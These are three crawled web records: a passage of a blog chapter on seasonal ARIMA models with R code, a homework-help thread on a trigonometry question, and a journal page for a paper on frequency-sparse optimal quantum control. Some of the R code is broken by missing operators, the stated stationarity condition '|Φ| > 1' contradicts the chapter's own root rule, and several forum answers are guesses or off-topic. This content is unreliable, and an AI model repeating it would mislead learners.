Z_{t-2s} + \cdots + \Theta_Q Z_{t-Qs}, \quad Z_t \overset{i.i.d.}{\sim} WN(0, \sigma^2)$$ The ACF has spikes at lags$s, 2s, \cdots, Qs$and is zero afterwards. The PACF exponentially decreases at lags that are multiples of$s$and is zero for other lags. ### Seasonal AR(1) The$AR(1)_{12}$model is $$X_t = \Phi X_{t-12} + Z_t, \quad Z_t \sim WN(0, \sigma^2)$$ Again, this is similar to the AR(1) model with the$X_{t-1}$term replaced by$X_{t-12}. The ACF is $$\rho_X(12k) = \Phi^k, \quad k = 0, 1, 2, \cdots$$ which is found from \begin{aligned} \gamma_X(0) &= \frac{\sigma^2}{1 - \Phi^2} \\ \gamma_X(k) &= \begin{cases} \frac{\sigma^2\Phi^k}{1 - \Phi^2}, & k = 12, 24, 36, \cdots \\ 0, & \text{otherwise} \end{cases} \end{aligned} ### Seasonal AR(P) TheAR(P)_s$model is $$X_t = \Phi_1 X_{t-s} + \Phi_2 X_{t-2s} + \cdots + \Phi_P X_{t-Ps} + Z_t, \quad Z_t \sim WN(0, \sigma^2)$$ The ACF exponentially decreases at lags that are multiples of$s$. The PACF spikes at lags that are multiples of$s$and takes value zero for all other lags. ### Seasonal ARMA(1, 1) The$ARMA(1, 1)_{12}$model is $$X_t = \Phi X_{t-12} + Z_t - \Theta Z_{t-12}, \quad Z_t \sim WN(0, \sigma^2)$$ Alternatively, we can write it using the backshift operator: $$(1 - \Phi B^{12})X_t = (1 - \Theta B^{12})Z_t$$ The conditions for stationarity and invertibility are the same as the ones in the regular ARMA model: the absolute values of the roots of the characteristic equations should be larger than 1. $$\begin{gathered} \text{Stationarity: } \|\Phi\| > 1 \\ \text{Invertibility: } \|\Theta\| > 1 \end{gathered}$$ ## Multiplicative seasonal ARMA Now we are going to combine the regular ARMA and seasonal ARMA models. This is done by multiplying the AR/MA polynomials. For example, the multiplicative combination of$MA(1)$and$MA(1)_{12}$is denoted$ARMA(0, 1) \times (0, 1)_{s=12}$, and can be expressed as $$X_t = (1 + \theta B)(1 + \Theta B^{12})Z_t = Z_t + \theta Z_{t-1} + \Theta Z_{t-12} + \theta\Theta Z_{t-13}$$ It’s not hard to show that$\gamma(0) = (1 + \theta^2)(1 + \Theta^2)\sigma^2$. We can also show that the ACF would have spikes at not only lags 1 and 12, but also 11 and 13. $$\begin{gathered} \rho(1) = \frac{\theta}{1 + \theta^2}, \quad \rho(12) = \frac{\Theta}{1 + \Theta^2}, \\ \rho(11) = \rho(13) = \frac{\theta\Theta}{(1 + \theta^2)(1 + \Theta^2)} \end{gathered}$$ The general form of an$ARMA(p, q) \times (P, Q)_s$model is $$\Phi(B)\phi(B)X_t = \Theta(B)\theta(B)Z_t, \quad Z_t \overset{i.i.d.}{\sim}WN(0, \sigma^2)$$ where $$\begin{gathered} \phi(x) = 1 - \phi_1 x - \phi_x x^2 - \cdots - \phi_p x^p, \\ \Phi(x) = 1 - \Phi_1 x^s - \Phi_x x^{2s} - \cdots - \Phi_P x^{Ps}, \\ \theta(x) = 1 + \theta_1 x + \theta_2 x^2 + \cdots + \theta_q x^q, \\ \Theta(x) = 1 + \Theta_1 x^s + \Theta_2 x^{2s} + \cdots + \Theta_Q x^{Qs} \\ \end{gathered}$$ Here the AR order is$p + Ps$, the MA order is$q + Qs$, and the number of parameters is$p + P + q + Q$. We can also include an intercept term and add one to the total number of parameters. The order of the seasonal part of the model rarely goes higher than 1, especially after we include differencing. For example,$ARMA(1, 0) \times (0, 2)_{12}$can be written as $$(1 - \phi B) X_t = (1 + \Theta_1 B^{12} + \Theta_2 B^{24}) Z_t,$$ and the following model $$X_t = 0.6 X_{t-12} + Z_t + 0.4 Z_{t-1} - 0.8 Z_{t-12} - 0.32 Z_{t-13}$$ is$ARMA(0, 1) \times (1, 1)_{12}$. ### ACF and PACF In this section we’re going to explore the theoretical ACF and PACF of multiplicative seasonal ARMA models of different orders2. Just like how the (P)ACF of ARMA models were combinations of the (P)ACF of AR and MA models, we can think of multiplicative seasonal ARMA models as overlaying another seasonal component on the (P)ACF. Starting with$ARMA(1, 0) \times (0, 1)_{12}$, we can use the following code to find its theoretical ACF and PACF: 1 2 3 4 5 6 7 8 9 arma10_01_acf <- ARMAacf(ar = 0.8, ma = c(rep(0, 11), -0.5), lag.max = 50) arma10_01_pacf <- ARMAacf(ar = 0.8, ma = c(rep(0, 11), -0.5), lag.max = 50, pacf = T) gg_acf_pacf(arma10_01_acf, arma10_01_pacf, expression(ARMA(1, 0) %% plain("(0, 1)")[12])) We look at the seasonal component first. In the ACF we see a spike at lag 12, and in the PACF we see spikes at lags that are multiples of 12. For the regular ARMA component, recall that for an AR(1) model, the ACF exponentially decays and the PACF should be cut off after lag 1. As a result, our ACF exponentially decays within each period, and the PACF has spikes at lags 1, 13, 25, 36 etc. Next up we have an$ARMA(0, 1) \times (0, 1)_{12}$model. For the seasonal component, again we see a spike at lag 12 in the ACF and tailing-off spikes at multiples of 12 in the PACF. The regular MA(1) model generates the spikes at lags 1, 11 and 13 for the ACF, and tailing off patterns between the periods for the PACF. In the third example we have an$ARMA(1, 0) \times (1, 0)_{12}$model: $$(1 - \Phi B^{12})(1 - \phi B)X_t = Z_t$$ where$\phi = 0.5$and$\Phi = 0.8$. In the ARMAacf() function the coefficients are given as ar = c(0.5, rep(0, 10), 0.8, -0.5 0.8). With the seasonal AR(1) component, we see a tail off pattern at multiples of 12 in the ACF, and a spike at lag 12 in the PACF. The regular AR(1) contributes to the tail off pattern between the periods in the ACF, and the spikes at lags 1 and 13 in the PACF. The last example is$ARIMA(1, 1) \times (0, 1)_{12}$. The MA(1) seasonal component gives us the spike at lag 12 in the ACF, and the tailing off spikes at multiples of 12 in the PACF. The regular ARMA(1, 1) generates the tailing off patterns between periods in both plots. ### Simulated examples So far we’ve been looking at plots of the theoretical ACF and PACF, and it’s already difficult in some cases to identify the orders. If we check the ACF of simulated data, it gets even messier: 1 2 3 4 5 6 7 8 9 set.seed(1) x <- arima.sim(list(order = c(13, 0, 0), ar = c(0.5, rep(0, 10), 0.8, -0.5 * 0.8)), 100) x_acf <- forecast::Acf(x, lag.max = 50, plot = F) x_pacf <- forecast::Pacf(x, lag.max = 50, plot = F) p1 <- gg_acf(x_acf) p2 <- gg_acf(x_pacf) (p1 + ggtitle(expression(plain(Simulated)~ARMA(1, 0) %% plain("(1, 0)")[12]))) As we can see here, the tailing off at multiples of 12 in the ACF and the spike at lag 12 in the PACF coming from the seasonal AR(1) is still visible. Patterns from the regular AR(1) could also be seen, but clearly it’s much more challenging to identify them compared with the third example above. If we look at the plots for 100 observations simulated from the following model: $$(1 - 0.7B)X_t = (1 + 0.8B^{12})(1 - 0.5B)Z_t$$ Once again the patterns are not so clear-cut. We can also fit the true model and see how close the estimated parameters are: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 set.seed(1) x <- arima.sim(list(order = c(1, 0, 13), ar = 0.7, ma = c(-0.5, rep(0, 10), 0.8, -0.50.8)), 100) arima(x, order = c(1, 0, 1), include.mean = F, seasonal = list(order = c(0, 0, 1), period = 12)) # Call: # arima(x = x, order = c(1, 0, 1), seasonal = list(order = c(0, 0, 1), period = 12), # include.mean = F) # Coefficients: # ar1 ma1 sma1 # 0.5510 -0.3742 0.8811 # s.e. 0.2657 0.2887 0.2162 # sigma^2 estimated as 0.6803: log likelihood = -131.05, aic = 270.09 ## Seasonal ARIMA The idea behind the “I” in the seasonal ARIMA (SARIMA) model is the same as when we combined differencing and ARMA models. If we observe a seasonal pattern in the time series plot, and the ACF slowly decreasing at multiples of the period, then we might want to apply seasonal differencing. ### Seasonal differencing The seasonal difference is denoted$\nabla^S = 1 - B^S$. For example, $$(1 - B^{12})X_t = X_t - X_{t-12}$$ This difference above is used with monthly data that exhibits seasonality. The idea is that differences from the previous year may be (on average) about the same for each month of a year. We have to decide the period$S$in advance. For quarterly or monthly data, it’s straightforward to just use$S = 4$or$S = 12$. For other more complicated cases, we’re going to use periodograms to help determine the period in a later chapter. Formally speaking, suppose our model can be decomposed into a seasonal component and white noise $$X_t = S_t + Z_t, \quad t = 1, 2, \cdots, T$$ where$E(Z_t) = 0$,$S_{t+d} = S_t$, and$\sum_{j=1}^d S_j = 0$. Here$d$is the period, so we’re assuming the seasonal effect in say May this year is the same as the effect in May of last year. Then, to eliminate the seasonal component by differencing, we may use the lag-$d$differencing operator: $$(1 - B^d)X_t = X_t - X_{t-d} = Z_t - Z_{t-d}$$ If a trend and a seasonal component appear together, we may remove the seasonal trend with seasonal differencing3, and then remove the trend by applying a regression model, nonparametric smoothing, or regular differencing. ### Seasonal data simulation Let’s try simulating a series and applying seasonal differencing on it. Our data generating model is $$Y_t = 1 + 2t + 20\sin(0.1\pi t) + X_t, \quad X_t \sim MA(1) = Z_t + 0.5 Z_{t-1}$$ The 1 + 2t part is a linearly increasing trend, and the sin() part is a seasonal component. The period is$2\pi / 0.1\pi = 20$. 1 2 3 4 t <- seq(100) y <- 1 + 2t + 20sin(0.1pit) + arima.sim(list(order = c(0, 0, 1), ma = 0.5), sd = 2, n = 100) The same function diff() is used for differencing and seasonal differencing. 1 2 dy <- diff(y, differences = 1) # differencing dys <- diff(dy, lag = 20) # seasonal differencing After regular differencing, the increasing trend is removed from$Y_t$, but there’s still a seasonal trend. The deseasonalized series shows none of the patterns observed in y or dy. ### SARIMA model If$d$and$D$are non-negative integers, then$\{X_t\}$is a seasonal$ARIMA(p, d, q) \times (P, D, Q)_s$process with period$s$if the differenced series$Y_t = (1 - B)^d (1 - B^s)D X_t$is an ARMA process. The full model is $$\phi(B)\Phi(B)(1 - B)^d(1 - B^s)^D X_t = \theta(B)\Theta(B)Z_t$$ where we have the terms in the order of regular AR, seasonal AR, regular differencing, seasonal differencing, regular MA and seasonal MA. Typically we set$D = 1$. For example, the model$SARIMA(1, 0, 1) \times (0, 1, 1)_6$can be written as $$(1 - \phi B) (1 - B^6)X_t = (1 + \theta B)(1 + \Theta B^6)Z_t,$$ and the model$SARIMA(0, 1, 2) \times (1, 1, 0)_{12}$can be written as $$(1 - \Phi B^{12}) (1 - B)(1 - B^{12}) X_t = (1 + \theta_1 B + \theta_2 B^2)Z_t.$$ If we increase some of the orders to two$(0, 1, 2) \times (2, 2, 1)_{12}$, the model gets a lot more complicated: $$(1 - \Phi_1 B^{12} - \Phi_2 B^{24}) (1 - B) (1 - B^{12})^2 X_t = (1 + \theta_1 B + \theta_2 B^2)(1 + \Theta B^{12})Z_t$$ Multiplicative means that we’re constructing the regular and seasonal AR/MA polynomials separately and then multiplying them together. Consider the simplest case of$(0, 0, 1) \times (0, 0, 1)_{12}, we have \begin{aligned} X_t &= (1 + \theta B)(1 + \Theta B^{12})Z_t \\ &= Z_t + \theta Z_{t-1} + \Theta Z_{t-12} + \theta\Theta Z_{t-13} \end{aligned} In this multiplicative case, we only need to estimate two parameters:\theta$and$\Theta$. If this was additive, it would be an MA(13) model. ### SARIMA in R In R, we use the same arima() function for SARIMA models, only this time we need to specify one more parameter seasonal. Just like what we did at the end of this section, the parameter should be a named list with elements order and period where order is a numeric vector of length 3 specifying$P$,$D$, and$Q$. When analyzing a series, the procedure is basically the same as that for the ARIMA model. One nuisance is the ADF test should be performed on the deseasonalized (but not regular-differenced) data. Once all the orders are figured out, use the original series in the arima() function. ## Examples of seasonal differencing In real data analysis, we usually first determine$d$,$s$and$D$, then$P$and$Q$from the ACF and PACF with$s$lags, and finally$p$and$q$from the regular ACF and PACF. Here we are going to give some examples of applying seasonal differencing for different processes. ### Stochastic trend We have a seasonal random walk plus a white noise $$X_t = S_t + Z_t, \quad S_t = S_{t-s} + \epsilon_t$$ where$Z_t$and$\epsilon_t$are independent WNs with variances$\sigma^2$and$\sigma_\epsilon^2, respectively. Let’s see what happens after seasonal differencing: \begin{aligned} \nabla^s X_t &= X_t - X_{t-s} \\ &= S_t + Z_t - (S_{t-s} + Z_{t-s}) \\ &= S_t - S_{t-s} + Z_t - Z_{t-s} \\ &= \epsilon_t + Z_t - Z_{t-s} \end{aligned} which is anMA(1)_s$, a stationary series that’s a linear combination of normal random variables. In fact, we can replace$Z_t$with any stationary time series, and seasonal differencing would still be able to remove the seasonal random walk trend. ### Random walk and seasonal random walk The second example adds a random walk to the previous one: $$X_t = M_t + S_t + Z_t, \quad S_t = S_{t-s} + \epsilon_t, \quad M_t = M_{t-1} + \xi_t$$ where$Z_t$,$\epsilon_t$and$\xi_tare independent WNs. To remove the trends, we need regular differencing and seasonal differencing: \begin{aligned} \nabla \nabla^s X_t &= \nabla(M_t + S_t + Z_t - M_{t-s} - S_{t-s} - Z_{t-s}) \\ &= \nabla(M_t - M_{t-s} + \epsilon_t + Z_t - Z_{t-s}) \\ &= (M_t - M_{t-s} + \epsilon_t + Z_t - Z_{t-s}) - (M_{t-1} - M_{t-s-1} + \epsilon_{t-1} + Z_{t-1} - Z_{t-s-1}) \\ &= \xi_t - \xi_{t-s} + \epsilon_t - \epsilon_{t-1} + Z_t - Z_{t-1} - Z_{t-s} + Z_{t-s-1} \end{aligned} The remaining part is again statioary. In fact, it’s a SARIMA(0, 0, 1) \times (0, 0, 1)_s\$ process. 1. This is the opposite of the definition of frequency in physics, where this would be called the period and its inverse would be called the frequency. ↩︎ 2. Here’s the R code for plotting the theoretical ACF and PACF. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 gg_acf_pacf <- function(x_acf, x_pacf, title) { p1 <- enframe(x_acf) %>% mutate_all(as.numeric) %>% ggplot(aes(x = name, y = value)) + geom_segment(aes(x = name, xend = name, y = 0, yend = value)) + geom_hline(yintercept = 0) + scale_x_continuous(breaks = seq(0, 50, 5)) + labs(x = "Lag", y = "Theoretical ACF") p2 <- enframe(x_pacf) %>% mutate_all(as.numeric) %>% ggplot(aes(x = name, y = value)) + geom_segment(aes(x = name, xend = name, y = 0, yend = value)) + geom_hline(yintercept = 0) + scale_x_continuous(breaks = seq(5, 50, 5)) + labs(x = "Lag", y = "Theoretical PACF") (p1 + ggtitle(title)) \| p2 } ↩︎ 3. It doesn’t really matter which differencing comes first. We can also remove the regular trend first and then deal with the seasonal trend. ↩︎ Related Posts Nov 17 Spectral Analysis 9 min read Nov 02 Decomposition and Smoothing Methods 14 min read Oct 09 Variability of Nonstationary Time Series 13 min read Oct 05 ARIMA Models 9 min read Sep 30 Mean Trend 13 min read	2021-10-24 02:44:51	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 1.0000098943710327, "perplexity": 6971.62096109617}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585837.82/warc/CC-MAIN-20211024015104-20211024045104-00432.warc.gz"}
https://studyqas.com/please-help-asapanswers-a-48-21b-66-35c-53-68d-28-34/	# Please help ASAPANSWERS A-48.21B-66.35C-53.68D-28.34 Please help ASAP ANSWERS A-48.21 B-66.35 C-53.68 D-28.34 $Please help ASAP ANSWERS A-48.21 B-66.35 C-53.68 D-28.34$ ## This Post Has 5 Comments 1. savyblue1724707 says: B Step-by-step explanation: Using the cosine ratio in the right triangle cos54° = $\frac{adjacent}{hypotenuse}$ = $\frac{AC}{AB}$ = $\frac{39}{AB}$ ( multiply both sides by AB ) AB × cos54° = 39 ( divide both sides by cos54° ) AB = $\frac{39}{cos54}$ ≈ 66.35 → B 2. Lilabsterdoll says: part A is B part B is D Explanation: i think i'm not entirely sure but i hope i'm correct 3. ayoismeisalex says: 4 Step-by-step explanation: There are 5 points. So there are 4 segments. The segments are the line between two points. 4. KatieQ1 says: P = 120 + 0.15n Step-by-step explanation: 5. littletiger4867 says: I thinks it’s D for part a and B for part b	2023-02-06 18:45:15	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8046698570251465, "perplexity": 4922.093632499207}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764500357.3/warc/CC-MAIN-20230206181343-20230206211343-00283.warc.gz"}
http://www.aimsciences.org/article/doi/10.3934/mcrf.2018007	# American Institute of Mathematical Sciences March 2018, 8(1): 155-176. doi: 10.3934/mcrf.2018007 ## Frequency-sparse optimal quantum control 1 Faculty of Mathematics, Technical University Munich, Boltzmannstr. 3, D-85747 Garching, Germany 2 Institute of Mathematics, FU Berlin, Arnimallee 6, D-14195 Berlin, Germany 3 Institute of Mathematics and Scientific Computing, Karl-Franzens-Universität Graz, Heinrichstr. 36, A-8010 Graz, Austria 4 Johann Radon Institute for Computational and Applied Mathematics (RICAM), Austrian Academy of Sciences, Altenbergerstraße 69, A-4040 Linz, Austria * Corresponding author: Karl Kunisch Received April 2017 Revised October 2017 Published January 2018 A new class of cost functionals for optimal control of quantum systems which produces controls which are sparse in frequency and smooth in time is proposed. This is achieved by penalizing a suitable time-frequency representation of the control field, rather than the control field itself, and by employing norms which are of $L^1$ or measure form with respect to frequency but smooth with respect to time. We prove existence of optimal controls for the resulting nonsmooth optimization problem, derive necessary optimality conditions, and rigorously establish the frequency-sparsity of the optimizers. More precisely, we show that the time-frequency representation of the control field, which a priori admits a continuum of frequencies, is supported on only finitely many frequencies. These results cover important systems of physical interest, including (infinite-dimensional) Schrödinger dynamics on multiple potential energy surfaces as arising in laser control of chemical reactions. Numerical simulations confirm that the optimal controls, unlike those obtained with the usual $L^2$ costs, concentrate on just a few frequencies, even in the infinite-dimensional case of laser-controlled chemical reactions. Citation: Gero Friesecke, Felix Henneke, Karl Kunisch. Frequency-sparse optimal quantum control. Mathematical Control & Related Fields, 2018, 8 (1) : 155-176. doi: 10.3934/mcrf.2018007 ##### References: [1] A. Auger, A. Ben, H. Yedder, E. Cances, C. L. Bris, C. M. Dion, A. Keller and O. Atabek, Optimal laser control of molecular systems: Methodology and results, Math. Models Methods Appl. Sci, 12 (2012), 1281-1315. [2] G. G. Balint-Kurti, S. Zou and A. Brown, Optimal control theory for manipulating molecular processes, John Wiley & Sons, Inc., 2008. [3] J. M. Ball, J. E. Marsden and M. Slemrod, Controllability for distributed bilinear systems, SIAM J. Control Optim., 20 (1982), 575-597. [4] H. Bergmann, H. Theuer and B. W. Shore, Coherent population transfer among quantum states of atoms and molecules, Rev. Mod. Phys., 70 (1998), 1003-1025. [5] E. Casas, R. Herzog and G. Wachsmuth, Optimality conditions and error analysis of semilinear elliptic control problems with $L^1$ cost functional, SIAM J. Optim., 22 (2012), 795-820. [6] G. Ciaramella and A. Borzì, A {LONE} code for the sparse control of quantum systems, Computer Physics Communications, 200 (2016), 312-323. [7] G. Ciaramella and A. Borzì, Quantum optimal control problems with a sparsity cost functional, Numer. Funct. Anal. Optim., 37 (2016), 938-965. [8] F. H. Clarke, Optimization and Nonsmooth Analysis, vol. 5 of Classics in Applied Mathematics, 2nd edition, Society for Industrial and Applied Mathematics (SIAM), Philadelphia, PA, 1990. [9] C. Clason and K. Kunisch, A duality-based approach to elliptic control problems in non-reflexive Banach spaces, ESAIM Control Optim. Calc. Var., 17 (2011), 243-266. [10] D. D'Alessandro, Introduction to Quantum Control and Dynamics, Chapman & Hall/CRC Applied Mathematics and Nonlinear Science Series, Chapman & Hall/CRC, Boca Raton, FL, 2008. [11] S. J. Glaser, U. Boscain, T. Calarco, C. P. Koch, W. Köckenberger, R. Kosloff, I. Kuprov, B. Luy, S. Schirmer, T. Schulte-Herbrüggen, D. Sugny and F. K. Wilhelm, Training Schrödinger's cat: Quantum optimal control, The European Physical Journal D, 69 (2015), 1-24. [12] M. Hellgren, E. Räsänen and E. K. U. Gross, Optimal control of strong-field ionization with time-dependent density-functional theory, Phys. Rev. A, 88 (2013), 013414. [13] F. Henneke and M. Liebmann, A generalized Suzuki-Trotter type method in optimal control of coupled Schrödinger equations, Computing and Visualization in Science, 17 (2015), 277-293. [14] R. Herzog, G. Stadler and G. Wachsmuth, Directional sparsity in optimal control of partial differential equations, SIAM J. Control Optim., 50 (2012), 943-963. [15] M. Hintermüller, D. Marahrens, P. A. Markowich and C. Sparber, Optimal bilinear control of Gross-Pitaevskii equations, SIAM J. Control Optim., 51 (2013), 2509-2543. [16] P. v. d. Hoff, S. Thallmair, M. Kowalewski, R. Siemering and R. D. Vivie-Riedle, Optimal control theory -closing the gap between theory and experiment, Phys. Chem. Chem. Phys., 14 (2012), 14460-14485. [17] K. Ito and K. Kunisch, Optimal bilinear control of an abstract Schrödinger equation, SIAM Journal on Control and Optimization, 46 (2007), 274-287. [18] A. F. Izmailov, A. L. Pogosyan and M. V. Solodov, Semismooth SQP method for equalityconstrained optimization problems with an application to the lifted reformulation of mathematical programs with complementarity constraints, Optimization Methods and Software, 26 (2011), 847-872. [19] K. Kormann, S. Holmgren and H. Karlsson, A Fourier-coefficient based solution of an optimal control problem in quantum chemistry, Journal of Optimization Theory and Applications, 174 (2010), 491-506. [20] K. Kunisch, K. Pieper and B. Vexler, Measure valued directional sparsity for parabolic optimal control problems, SIAM J. Control Optim., 52 (2014), 3078-3108. [21] S. Lang, Real and Functional Analysis, vol. 142 of Graduate Texts in Mathematics, 3rd edition, Springer-Verlag, New York, 1993. [22] M. Lapert, D. Sugny, R. Tehini and G. Turinici, Monotonically convergent optimal control theory of quantum systems with spectral constraints on the control field, Physical Review A: Atomic, Molecular and Optical Physics, 79 (2009), 063411. [23] X. J. Li and J. M. Yong, Optimal Control Theory for Infinite-Dimensional Systems Systems & Control: Foundations & Applications, Birkhäuser Boston Inc., Boston, MA, 1995. [24] L. Meziani, On the dual space $C^_0(S, X)$, Acta Math. Univ. Comenian. (N.S.), 78 (2009), 153-160. [25] J. Nocedal and S. J. Wright, Numerical Optimization, 2nd edition, Springer Series in Operations Research and Financial Engineering, Springer, New York, 2006. [26] A. P. Peirce, M. A. Dahleh and H. Rabitz, Optimal control of quantum-mechanical systems: Existence, numerical approximation, and applications, Phys. Rev. A (3), 37 (1988), 4950-4964. [27] M. Reed and B. Simon, Methods of Modern Mathematical Physics. Ⅱ. Fourier analysis, Self-adjointness, Academic Press [Harcourt Brace Jovanovich, Publishers], New York-London, 1975. [28] Q. Ren, G. G. Balint-Kurti, F. R. Manby, M. Artamonov, T.-S. Ho and H. Rabitz, Quantum control of molecular vibrational and rotational excitations in a homonuclear diatomic molecule: A full three-dimensional treatment with polarization forces, The Journal of Chemical Physics, 124 (2006), 014111. [29] S. Ruetzel, C. Stolzenberger, F. Dimler, D. J. Tannor and T. Brixner, Adaptive coherent control using the von Neumann basis, Phys. Chem. Chem. Phys., 13 (2011), 8627-8636. [30] J. Scheuer, X. Kong, R. S. Said, J. Chen, A. Kurz, L. Marseglia, J. Du, P. R. Hemmer, S. Montangero, T. Calarco, B. Naydenov and F. Jelezko, Precise qubit control beyond the rotating wave approximation, New Journal of Physics, 16 (2014), 093022. [31] S. Sharma, H. Singh and G. G. Balint-Kurti, Genetic algorithm optimization of laser pulses for molecular quantum state excitation, The Journal of Chemical Physics, 132 (2010), 064108. [32] B. W. Shore, The Theory of Coherent Atomic Excitation, Wiley, New York, NY, 1990. [33] G. Stadler, Elliptic optimal control problems with $L^1$-control cost and applications for the placement of control devices, Comput. Optim. Appl., 44 (2009), 159-181. [34] S. Teufel, Adiabatic Perturbation Theory in Quantum Dynamics, vol. 1821 of Lecture Notes in Mathematics, Springer-Verlag, Berlin, 2003. [35] G. Turinici, C. Le Bris and H. Rabitz, Efficient algorithms for the laboratory discovery of optimal quantum controls, Phys. Rev. E, 70 (2004), 016704. [36] G. von Winckel and A. Borzì, Computational techniques for a quantum control problem with $H^1$-cost, Inverse Problems, 24 (2008), 034007, 23pp. [37] G. von Winckel, A. Borzì and S. Volkwein, A globalized Newton method for the accurate solution of a dipole quantum control problem, SIAM J. Sci. Comput., 31 (2009/10), 4176-4203. [38] G. Vossen and H. Maurer, On $L^1$-minimization in optimal control and applications to robotics, Optimal Control Appl. Methods, 27 (2006), 301-321. show all references ##### References: [1] A. Auger, A. Ben, H. Yedder, E. Cances, C. L. Bris, C. M. Dion, A. Keller and O. Atabek, Optimal laser control of molecular systems: Methodology and results, Math. Models Methods Appl. Sci, 12 (2012), 1281-1315. [2] G. G. Balint-Kurti, S. Zou and A. Brown, Optimal control theory for manipulating molecular processes, John Wiley & Sons, Inc., 2008. [3] J. M. Ball, J. E. Marsden and M. Slemrod, Controllability for distributed bilinear systems, SIAM J. Control Optim., 20 (1982), 575-597. [4] H. Bergmann, H. Theuer and B. W. Shore, Coherent population transfer among quantum states of atoms and molecules, Rev. Mod. Phys., 70 (1998), 1003-1025. [5] E. Casas, R. Herzog and G. Wachsmuth, Optimality conditions and error analysis of semilinear elliptic control problems with $L^1$ cost functional, SIAM J. Optim., 22 (2012), 795-820. [6] G. Ciaramella and A. Borzì, A {LONE} code for the sparse control of quantum systems, Computer Physics Communications, 200 (2016), 312-323. [7] G. Ciaramella and A. Borzì, Quantum optimal control problems with a sparsity cost functional, Numer. Funct. Anal. Optim., 37 (2016), 938-965. [8] F. H. Clarke, Optimization and Nonsmooth Analysis, vol. 5 of Classics in Applied Mathematics, 2nd edition, Society for Industrial and Applied Mathematics (SIAM), Philadelphia, PA, 1990. [9] C. Clason and K. Kunisch, A duality-based approach to elliptic control problems in non-reflexive Banach spaces, ESAIM Control Optim. Calc. Var., 17 (2011), 243-266. [10] D. D'Alessandro, Introduction to Quantum Control and Dynamics, Chapman & Hall/CRC Applied Mathematics and Nonlinear Science Series, Chapman & Hall/CRC, Boca Raton, FL, 2008. [11] S. J. Glaser, U. Boscain, T. Calarco, C. P. Koch, W. Köckenberger, R. Kosloff, I. Kuprov, B. Luy, S. Schirmer, T. Schulte-Herbrüggen, D. Sugny and F. K. Wilhelm, Training Schrödinger's cat: Quantum optimal control, The European Physical Journal D, 69 (2015), 1-24. [12] M. Hellgren, E. Räsänen and E. K. U. Gross, Optimal control of strong-field ionization with time-dependent density-functional theory, Phys. Rev. A, 88 (2013), 013414. [13] F. Henneke and M. Liebmann, A generalized Suzuki-Trotter type method in optimal control of coupled Schrödinger equations, Computing and Visualization in Science, 17 (2015), 277-293. [14] R. Herzog, G. Stadler and G. Wachsmuth, Directional sparsity in optimal control of partial differential equations, SIAM J. Control Optim., 50 (2012), 943-963. [15] M. Hintermüller, D. Marahrens, P. A. Markowich and C. Sparber, Optimal bilinear control of Gross-Pitaevskii equations, SIAM J. Control Optim., 51 (2013), 2509-2543. [16] P. v. d. Hoff, S. Thallmair, M. Kowalewski, R. Siemering and R. D. Vivie-Riedle, Optimal control theory -closing the gap between theory and experiment, Phys. Chem. Chem. Phys., 14 (2012), 14460-14485. [17] K. Ito and K. Kunisch, Optimal bilinear control of an abstract Schrödinger equation, SIAM Journal on Control and Optimization, 46 (2007), 274-287. [18] A. F. Izmailov, A. L. Pogosyan and M. V. Solodov, Semismooth SQP method for equalityconstrained optimization problems with an application to the lifted reformulation of mathematical programs with complementarity constraints, Optimization Methods and Software, 26 (2011), 847-872. [19] K. Kormann, S. Holmgren and H. Karlsson, A Fourier-coefficient based solution of an optimal control problem in quantum chemistry, Journal of Optimization Theory and Applications, 174 (2010), 491-506. [20] K. Kunisch, K. Pieper and B. Vexler, Measure valued directional sparsity for parabolic optimal control problems, SIAM J. Control Optim., 52 (2014), 3078-3108. [21] S. Lang, Real and Functional Analysis, vol. 142 of Graduate Texts in Mathematics, 3rd edition, Springer-Verlag, New York, 1993. [22] M. Lapert, D. Sugny, R. Tehini and G. Turinici, Monotonically convergent optimal control theory of quantum systems with spectral constraints on the control field, Physical Review A: Atomic, Molecular and Optical Physics, 79 (2009), 063411. [23] X. J. Li and J. M. Yong, Optimal Control Theory for Infinite-Dimensional Systems Systems & Control: Foundations & Applications, Birkhäuser Boston Inc., Boston, MA, 1995. [24] L. Meziani, On the dual space $C^_0(S, X)$, Acta Math. Univ. Comenian. (N.S.), 78 (2009), 153-160. [25] J. Nocedal and S. J. Wright, Numerical Optimization, 2nd edition, Springer Series in Operations Research and Financial Engineering, Springer, New York, 2006. [26] A. P. Peirce, M. A. Dahleh and H. Rabitz, Optimal control of quantum-mechanical systems: Existence, numerical approximation, and applications, Phys. Rev. A (3), 37 (1988), 4950-4964. [27] M. Reed and B. Simon, Methods of Modern Mathematical Physics. Ⅱ. Fourier analysis, Self-adjointness, Academic Press [Harcourt Brace 